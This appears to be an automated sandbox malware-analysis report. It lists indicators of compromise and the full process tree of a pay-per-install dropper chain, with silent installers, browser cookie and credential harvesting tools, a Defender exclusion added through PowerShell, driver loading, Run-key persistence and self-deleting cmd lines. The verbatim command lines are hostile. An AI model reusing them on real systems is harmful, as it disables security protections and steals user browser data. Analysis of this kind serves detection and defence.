privacytools5.exeprivacytools5.exeexplorer.exeexplorer.exeexplorer.exeMicrosoftEdgeCP.exeprivacytools5.exepid process 15656 privacytools5.exe 5364 privacytools5.exe 2396 2396 2396 2396 2396 2396 2396 2396 6540 explorer.exe 6540 explorer.exe 2396 2396 6540 explorer.exe 6540 explorer.exe 2396 2396 8804 explorer.exe 8804 explorer.exe 8804 explorer.exe 8804 explorer.exe 8804 explorer.exe 8804 explorer.exe 6540 explorer.exe 6540 explorer.exe 2396 2396 2396 2396 8100 explorer.exe 8100 explorer.exe 8100 explorer.exe 8100 explorer.exe 8100 explorer.exe 8100 explorer.exe 2396 2396 8100 explorer.exe 8100 explorer.exe 8804 explorer.exe 6540 explorer.exe 8804 explorer.exe 6540 explorer.exe 8960 MicrosoftEdgeCP.exe 8960 MicrosoftEdgeCP.exe 8960 MicrosoftEdgeCP.exe 8960 MicrosoftEdgeCP.exe 8804 explorer.exe 8804 explorer.exe 8100 explorer.exe 8100 explorer.exe 6540 explorer.exe 6540 explorer.exe 8660 privacytools5.exe 8960 MicrosoftEdgeCP.exe 8960 MicrosoftEdgeCP.exe 8100 explorer.exe 8100 explorer.exe 6540 explorer.exe 6540 explorer.exe 8804 explorer.exe 8804 explorer.exe 6540 explorer.exe -
Suspicious behavior: SetClipboardViewer 4 IoCs
Processes:
4536431.492565045.284111450.456765460.74pid process 16076 4536431.49 7932 2565045.28 7488 4111450.45 4132 6765460.74 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
HGT.exetaskkill.exeRugomaevoki.exemd7_7dfj.exetaskkill.exeHookSetp.exe8445151.92powershell.exeMultitimerFour.exemultitimer.exeMicrosoftEdge.exemultitimer.exe7za.exeMicrosoftEdgeCP.exedescription pid process Token: SeDebugPrivilege 2520 HGT.exe Token: SeDebugPrivilege 1516 taskkill.exe Token: SeDebugPrivilege 1352 Rugomaevoki.exe Token: SeManageVolumePrivilege 3636 md7_7dfj.exe Token: SeDebugPrivilege 9748 taskkill.exe Token: SeManageVolumePrivilege 3636 md7_7dfj.exe Token: SeManageVolumePrivilege 3636 md7_7dfj.exe Token: SeDebugPrivilege 14884 HookSetp.exe Token: SeDebugPrivilege 15416 8445151.92 Token: SeDebugPrivilege 16016 powershell.exe Token: SeDebugPrivilege 16188 MultitimerFour.exe Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeDebugPrivilege 16376 multitimer.exe Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeTakeOwnershipPrivilege 2396 Token: SeRestorePrivilege 2396 Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeDebugPrivilege 16852 MicrosoftEdge.exe Token: SeDebugPrivilege 16852 MicrosoftEdge.exe Token: SeDebugPrivilege 16852 MicrosoftEdge.exe Token: SeDebugPrivilege 16852 MicrosoftEdge.exe Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeDebugPrivilege 17252 multitimer.exe Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeRestorePrivilege 4276 7za.exe Token: 35 4276 7za.exe Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeSecurityPrivilege 4276 7za.exe Token: SeShutdownPrivilege 2396 Token: SeCreatePagefilePrivilege 2396 Token: SeSecurityPrivilege 4276 7za.exe Token: SeDebugPrivilege 4268 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4268 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4268 MicrosoftEdgeCP.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
Setup3310.tmpSetup.tmpDelta.tmpPictureLAb.tmpprolab.tmpSetup3310.tmpIBInstaller_97039.tmpvict.tmpvpn.tmppid process 3664 Setup3310.tmp 644 Setup.tmp 208 Delta.tmp 1576 PictureLAb.tmp 2688 prolab.tmp 5184 Setup3310.tmp 5368 IBInstaller_97039.tmp 5316 vict.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMaskVPNUpdate.execmd.execmd.execmd.exeMicrosoftEdge.exeMicrosoftEdgeCP.exepid process 2396 16852 MicrosoftEdge.exe 3128 MicrosoftEdgeCP.exe 3128 MicrosoftEdgeCP.exe 5260 MicrosoftEdge.exe 8960 MicrosoftEdgeCP.exe 8960 MicrosoftEdgeCP.exe 12640 MaskVPNUpdate.exe 7300 cmd.exe 12856 cmd.exe 4796 cmd.exe 13208 MicrosoftEdge.exe 13744 MicrosoftEdgeCP.exe 13744 MicrosoftEdgeCP.exe -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
pid process 2396 -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Setup3310.exeSetup3310.tmpSetup.exeSetup.tmpDelta.exeDelta.tmpPictureLAb.exePictureLAb.tmpSetup.exeSetup.tmpHGT.exeprolab.exeSetup.execmd.exeRugomaevoki.execmd.exegaooo.exehjjgaa.exedescription pid process target process PID 1108 wrote to memory of 3664 1108 Setup3310.exe Setup3310.tmp PID 1108 wrote to memory of 3664 1108 Setup3310.exe Setup3310.tmp PID 1108 wrote to memory of 3664 1108 Setup3310.exe Setup3310.tmp PID 3664 wrote to memory of 3796 3664 Setup3310.tmp Setup.exe PID 3664 wrote to memory of 3796 3664 Setup3310.tmp Setup.exe PID 3664 wrote to memory of 3796 3664 Setup3310.tmp Setup.exe PID 3796 wrote to memory of 644 3796 Setup.exe Setup.tmp PID 3796 wrote to memory of 644 3796 Setup.exe Setup.tmp PID 3796 wrote to memory of 644 3796 Setup.exe Setup.tmp PID 644 wrote to memory of 2112 644 Setup.tmp Delta.exe PID 644 wrote to memory of 2112 644 Setup.tmp Delta.exe PID 644 wrote to memory of 2112 644 Setup.tmp Delta.exe PID 2112 wrote to memory of 208 2112 Delta.exe Delta.tmp PID 2112 wrote to memory of 208 2112 Delta.exe Delta.tmp PID 2112 wrote to memory of 208 2112 Delta.exe Delta.tmp PID 208 wrote to memory of 1364 208 Delta.tmp Setup.exe PID 208 wrote to memory of 1364 208 Delta.tmp Setup.exe PID 208 wrote to memory of 1364 208 Delta.tmp Setup.exe PID 644 wrote to memory of 1852 644 Setup.tmp PictureLAb.exe PID 644 wrote to memory of 1852 644 Setup.tmp PictureLAb.exe PID 644 wrote to memory of 1852 644 Setup.tmp PictureLAb.exe PID 1852 wrote to memory of 1576 1852 PictureLAb.exe PictureLAb.tmp PID 1852 wrote to memory of 1576 1852 PictureLAb.exe PictureLAb.tmp PID 1852 wrote to memory of 1576 1852 PictureLAb.exe PictureLAb.tmp PID 1576 wrote to memory of 1512 1576 PictureLAb.tmp Setup.exe PID 1576 wrote to memory of 1512 1576 PictureLAb.tmp Setup.exe PID 1576 wrote to memory of 1512 1576 PictureLAb.tmp Setup.exe PID 1512 wrote to memory of 1856 1512 Setup.exe Setup.tmp PID 1512 wrote to memory of 1856 1512 Setup.exe Setup.tmp PID 1512 wrote to memory of 1856 1512 Setup.exe Setup.tmp PID 1856 wrote to memory of 2520 1856 Setup.tmp HGT.exe PID 1856 wrote to memory of 2520 1856 Setup.tmp HGT.exe PID 2520 wrote to memory of 3024 2520 HGT.exe prolab.exe PID 2520 wrote to memory of 3024 2520 HGT.exe prolab.exe PID 2520 wrote to memory of 3024 2520 HGT.exe prolab.exe PID 2520 wrote to memory of 1352 2520 HGT.exe Rugomaevoki.exe PID 2520 wrote to memory of 1352 2520 HGT.exe Rugomaevoki.exe PID 3024 wrote to memory of 2688 3024 prolab.exe prolab.tmp PID 3024 wrote to memory of 2688 3024 prolab.exe prolab.tmp PID 3024 wrote to memory of 2688 3024 prolab.exe prolab.tmp PID 1364 wrote to memory of 904 1364 Setup.exe cmd.exe PID 1364 wrote to memory of 904 1364 Setup.exe cmd.exe PID 1364 wrote to memory of 904 1364 Setup.exe cmd.exe PID 904 wrote to memory of 1516 904 cmd.exe taskkill.exe PID 904 wrote to memory of 1516 904 cmd.exe taskkill.exe PID 904 wrote to memory of 1516 904 cmd.exe taskkill.exe PID 904 wrote to memory of 500 904 cmd.exe timeout.exe PID 904 wrote to memory of 500 904 cmd.exe timeout.exe PID 904 wrote to memory of 500 904 cmd.exe timeout.exe PID 1352 wrote to memory of 8896 1352 Rugomaevoki.exe cmd.exe PID 1352 wrote to memory of 8896 1352 Rugomaevoki.exe cmd.exe PID 8896 wrote to memory of 10336 8896 cmd.exe gaooo.exe PID 8896 wrote to memory of 10336 8896 cmd.exe gaooo.exe PID 8896 wrote to memory of 10336 8896 cmd.exe gaooo.exe PID 10336 wrote to memory of 11768 10336 gaooo.exe jfiag3g_gg.exe PID 10336 wrote to memory of 11768 10336 gaooo.exe jfiag3g_gg.exe PID 10336 wrote to memory of 11768 10336 gaooo.exe jfiag3g_gg.exe PID 644 wrote to memory of 15888 644 Setup.tmp hjjgaa.exe PID 644 wrote to memory of 15888 644 Setup.tmp hjjgaa.exe PID 644 wrote to memory of 15888 644 Setup.tmp hjjgaa.exe PID 15888 wrote to memory of 16056 15888 hjjgaa.exe jfiag3g_gg.exe PID 15888 wrote to memory of 16056 15888 hjjgaa.exe jfiag3g_gg.exe PID 15888 wrote to memory of 16056 15888 hjjgaa.exe jfiag3g_gg.exe PID 10336 wrote to memory of 17340 10336 gaooo.exe jfiag3g_gg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\Setup3310.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1108 -
C:\Users\Admin\AppData\Local\Temp\is-KJI8I.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-KJI8I.tmp\Setup3310.tmp" /SL5="$20118,138429,56832,C:\Users\Admin\AppData\Local\Temp\Setup3310.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3664 -
C:\Users\Admin\AppData\Local\Temp\is-L6H0P.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-L6H0P.tmp\Setup.exe" /Verysilent3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Users\Admin\AppData\Local\Temp\is-7D3TQ.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-7D3TQ.tmp\Setup.tmp" /SL5="$20206,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-L6H0P.tmp\Setup.exe" /Verysilent4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:644 -
C:\Users\Admin\AppData\Local\Temp\is-J848Q.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-J848Q.tmp\Delta.exe" /Verysilent5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Users\Admin\AppData\Local\Temp\is-ONETG.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-ONETG.tmp\Delta.tmp" /SL5="$201F4,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-J848Q.tmp\Delta.exe" /Verysilent6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:208 -
C:\Users\Admin\AppData\Local\Temp\is-GOAJI.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-GOAJI.tmp\Setup.exe" /VERYSILENT7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1364 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-GOAJI.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit8⤵
- Suspicious use of WriteProcessMemory
PID:904 -
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1516 -
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
PID:500 -
C:\Users\Admin\AppData\Local\Temp\is-J848Q.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-J848Q.tmp\PictureLAb.exe" /Verysilent5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Users\Admin\AppData\Local\Temp\is-CDM2Q.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-CDM2Q.tmp\PictureLAb.tmp" /SL5="$301F4,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-J848Q.tmp\PictureLAb.exe" /Verysilent6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1576 -
C:\Users\Admin\AppData\Local\Temp\is-5REP7.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-5REP7.tmp\Setup.exe" /VERYSILENT7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Users\Admin\AppData\Local\Temp\is-5JLPF.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-5JLPF.tmp\Setup.tmp" /SL5="$60074,298214,214528,C:\Users\Admin\AppData\Local\Temp\is-5REP7.tmp\Setup.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Users\Admin\AppData\Local\Temp\is-E3EBL.tmp\HGT.exe"C:\Users\Admin\AppData\Local\Temp\is-E3EBL.tmp\HGT.exe" /S /UID=lab2149⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Program Files\Common Files\GUNZKFQBZY\prolab.exe"C:\Program Files\Common Files\GUNZKFQBZY\prolab.exe" /VERYSILENT10⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Users\Admin\AppData\Local\Temp\is-KKDDV.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-KKDDV.tmp\prolab.tmp" /SL5="$401D2,575243,216576,C:\Program Files\Common Files\GUNZKFQBZY\prolab.exe" /VERYSILENT11⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:2688 -
C:\Users\Admin\AppData\Local\Temp\35-43ad2-831-227be-d7f3b9ae474a2\Rugomaevoki.exe"C:\Users\Admin\AppData\Local\Temp\35-43ad2-831-227be-d7f3b9ae474a2\Rugomaevoki.exe"10⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1352 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\f0ufg3oy.k3m\gaooo.exe & exit11⤵
- Suspicious use of WriteProcessMemory
PID:8896 -
C:\Users\Admin\AppData\Local\Temp\f0ufg3oy.k3m\gaooo.exeC:\Users\Admin\AppData\Local\Temp\f0ufg3oy.k3m\gaooo.exe12⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:10336 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵
- Executes dropped EXE
PID:11768 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵
- Executes dropped EXE
PID:17340 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nwf1xvbe.fiu\md7_7dfj.exe & exit11⤵PID:1168
-
C:\Users\Admin\AppData\Local\Temp\nwf1xvbe.fiu\md7_7dfj.exeC:\Users\Admin\AppData\Local\Temp\nwf1xvbe.fiu\md7_7dfj.exe12⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of AdjustPrivilegeToken
PID:3636 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\znhtj3hc.0po\askinstall29.exe & exit11⤵PID:7456
-
C:\Users\Admin\AppData\Local\Temp\znhtj3hc.0po\askinstall29.exeC:\Users\Admin\AppData\Local\Temp\znhtj3hc.0po\askinstall29.exe12⤵
- Executes dropped EXE
PID:7620 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe13⤵PID:9564
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe14⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:9748 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dpllrgre.1a5\customer4.exe & exit11⤵PID:14076
-
C:\Users\Admin\AppData\Local\Temp\dpllrgre.1a5\customer4.exeC:\Users\Admin\AppData\Local\Temp\dpllrgre.1a5\customer4.exe12⤵
- Executes dropped EXE
PID:14212 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\main.exe"13⤵
- Executes dropped EXE
- Loads dropped DLL
PID:14492 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\parse.exeparse.exe -f json -b firefox14⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5000 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\parse.exeparse.exe -f json -b chrome14⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5024 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\parse.exeparse.exe -f json -b edge14⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5052 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\d5t4jeai.5ex\HookSetp.exe & exit11⤵PID:14808
-
C:\Users\Admin\AppData\Local\Temp\d5t4jeai.5ex\HookSetp.exeC:\Users\Admin\AppData\Local\Temp\d5t4jeai.5ex\HookSetp.exe12⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:14884 -
C:\ProgramData\8445151.92"C:\ProgramData\8445151.92"13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:15416 -
C:\ProgramData\4620154.50"C:\ProgramData\4620154.50"13⤵
- Executes dropped EXE
- Adds Run key to start application
PID:15464 -
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"14⤵
- Executes dropped EXE
PID:15676 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uyzexdzq.pyc\GcleanerWW.exe /mixone & exit11⤵PID:968
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gr05sz13.utu\privacytools5.exe & exit11⤵PID:15188
-
C:\Users\Admin\AppData\Local\Temp\gr05sz13.utu\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\gr05sz13.utu\privacytools5.exe12⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:15252 -
C:\Users\Admin\AppData\Local\Temp\gr05sz13.utu\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\gr05sz13.utu\privacytools5.exe13⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:15656 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lipi2jdf.nbv\setup.exe /8-2222 & exit11⤵PID:15908
-
C:\Users\Admin\AppData\Local\Temp\lipi2jdf.nbv\setup.exeC:\Users\Admin\AppData\Local\Temp\lipi2jdf.nbv\setup.exe /8-222212⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:15944 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Hidden-Thunder"13⤵
- Suspicious use of AdjustPrivilegeToken
PID:16016 -
C:\Program Files (x86)\Hidden-Thunder\7za.exe"C:\Program Files (x86)\Hidden-Thunder\7za.exe" e -p154.61.71.51 winamp-plugins.7z13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4276 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Hidden-Thunder\setup.exe" -map "C:\Program Files (x86)\Hidden-Thunder\WinmonProcessMonitor.sys""13⤵PID:6228
-
C:\Program Files (x86)\Hidden-Thunder\setup.exe"C:\Program Files (x86)\Hidden-Thunder\setup.exe" -map "C:\Program Files (x86)\Hidden-Thunder\WinmonProcessMonitor.sys"14⤵
- Executes dropped EXE
- Suspicious behavior: LoadsDriver
PID:6528 -
C:\Program Files (x86)\Hidden-Thunder\7za.exe"C:\Program Files (x86)\Hidden-Thunder\7za.exe" e -p154.61.71.51 winamp.7z13⤵
- Executes dropped EXE
PID:6968 -
C:\Program Files (x86)\Hidden-Thunder\setup.exe"C:\Program Files (x86)\Hidden-Thunder\setup.exe" /8-222213⤵PID:7968
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4xluz2fh.ope\MultitimerFour.exe & exit11⤵PID:16004
-
C:\Users\Admin\AppData\Local\Temp\4xluz2fh.ope\MultitimerFour.exeC:\Users\Admin\AppData\Local\Temp\4xluz2fh.ope\MultitimerFour.exe12⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:16188 -
C:\Users\Admin\AppData\Local\Temp\4L5HLNWXAD\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\4L5HLNWXAD\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10413⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:16376 -
C:\Users\Admin\AppData\Local\Temp\4L5HLNWXAD\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\4L5HLNWXAD\multitimer.exe" 1 3.1616085481.605381e99dd96 10414⤵
- Executes dropped EXE
- Adds Run key to start application
PID:17124 -
C:\Users\Admin\AppData\Local\Temp\4L5HLNWXAD\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\4L5HLNWXAD\multitimer.exe" 2 3.1616085481.605381e99dd9615⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:17252 -
C:\Users\Admin\AppData\Local\Temp\1yf4bjuo5ps\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\1yf4bjuo5ps\Setup3310.exe" /Verysilent /subid=57716⤵
- Executes dropped EXE
PID:4848 -
C:\Users\Admin\AppData\Local\Temp\is-8Q1VS.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-8Q1VS.tmp\Setup3310.tmp" /SL5="$B00FC,138429,56832,C:\Users\Admin\AppData\Local\Temp\1yf4bjuo5ps\Setup3310.exe" /Verysilent /subid=57717⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:5184 -
C:\Users\Admin\AppData\Local\Temp\is-GNJA5.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-GNJA5.tmp\Setup.exe" /Verysilent18⤵
- Executes dropped EXE
PID:6668 -
C:\Users\Admin\AppData\Local\Temp\is-5T8P5.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-5T8P5.tmp\Setup.tmp" /SL5="$30512,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-GNJA5.tmp\Setup.exe" /Verysilent19⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6720 -
C:\Users\Admin\AppData\Local\Temp\is-Q81MB.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-Q81MB.tmp\Delta.exe" /Verysilent20⤵PID:8436
-
C:\Users\Admin\AppData\Local\Temp\is-DAU6A.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-DAU6A.tmp\Delta.tmp" /SL5="$10592,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-Q81MB.tmp\Delta.exe" /Verysilent21⤵
- Loads dropped DLL
PID:8460 -
C:\Users\Admin\AppData\Local\Temp\is-49B44.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-49B44.tmp\Setup.exe" /VERYSILENT22⤵
- Loads dropped DLL
- Checks processor information in registry
PID:8816 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-49B44.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit23⤵PID:9184
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f24⤵
- Kills process with taskkill
PID:9292 -
C:\Windows\SysWOW64\timeout.exetimeout /t 624⤵
- Delays execution with timeout.exe
PID:9380 -
C:\Users\Admin\AppData\Local\Temp\is-Q81MB.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-Q81MB.tmp\PictureLAb.exe" /Verysilent20⤵PID:8828
-
C:\Users\Admin\AppData\Local\Temp\is-SCS2H.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-SCS2H.tmp\PictureLAb.tmp" /SL5="$20592,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-Q81MB.tmp\PictureLAb.exe" /Verysilent21⤵
- Loads dropped DLL
PID:8872 -
C:\Users\Admin\AppData\Local\Temp\is-LMCGU.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-LMCGU.tmp\Setup.exe" /VERYSILENT22⤵PID:7396
-
C:\Users\Admin\AppData\Local\Temp\is-K5I0T.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-K5I0T.tmp\Setup.tmp" /SL5="$40496,298214,214528,C:\Users\Admin\AppData\Local\Temp\is-LMCGU.tmp\Setup.exe" /VERYSILENT23⤵
- Loads dropped DLL
PID:7420 -
C:\Users\Admin\AppData\Local\Temp\is-SJ034.tmp\HGT.exe"C:\Users\Admin\AppData\Local\Temp\is-SJ034.tmp\HGT.exe" /S /UID=lab21424⤵
- Drops file in Drivers directory
PID:7736 -
C:\Users\Admin\AppData\Local\Temp\c7-e2bf3-4fb-2079a-2217a68f222c0\Pyshaepudaeho.exe"C:\Users\Admin\AppData\Local\Temp\c7-e2bf3-4fb-2079a-2217a68f222c0\Pyshaepudaeho.exe"25⤵PID:8988
-
